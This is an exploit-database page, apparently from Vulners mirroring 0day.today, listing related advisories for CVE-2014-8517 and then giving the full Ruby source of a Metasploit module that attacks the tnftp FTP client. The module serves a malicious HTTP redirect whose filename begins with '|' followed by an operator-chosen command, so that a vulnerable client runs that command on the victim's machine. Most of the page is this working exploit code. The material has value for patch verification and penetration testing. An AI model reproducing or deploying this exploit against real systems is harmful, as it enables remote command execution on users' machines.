Lucene search
K

tnftp "savefile" Arbitrary Command Execution Exploit

🗓️ 10 Nov 2014 00:00:00Reported by Jared McNeillType 
zdt
 zdt
🔗 0day.today👁 55 Views

tnftp arbitrary command execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
tnftp - clientside BSD Exploit
16 Dec 201400:00
zdt
0day.today
tnftp (savefile) Arbitrary Command Execution Exploit
3 Nov 201700:00
zdt
FreeBSD
FreeBSD -- Remote command execution in ftp(1)
4 Nov 201400:00
freebsd
ArchLinux
tnftp: arbitrary command execution
1 Nov 201400:00
archlinux
Circl
CVE-2014-8517
3 Nov 201700:00
circl
Check Point Advisories
NetBSD tnftp fetch.c fetch_url Command Execution (CVE-2014-8517)
16 Nov 201400:00
checkpoint_advisories
CVE
CVE-2014-8517
17 Nov 201416:00
cve
Cvelist
CVE-2014-8517
17 Nov 201416:00
cvelist
Debian CVE
CVE-2014-8517
17 Nov 201416:00
debiancve
Exploit DB
tnftp (FreeBSD 8/9/10) - 'tnftp' Client Side
2 Dec 201400:00
exploitdb
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.
If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.
If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Actions' => [
['Service']
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service'
))
register_options([
OptString.new('CMD', [true, 'Command to run', 'uname -a'])
])
end
def run
exploit
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end
if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{datastore['CMD']}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end
def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end
def sploit
"|#{datastore['CMD']}"
end
end

#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Nov 2014 00:00Current
5Medium risk
Vulners AI Score5
EPSS0.84981
55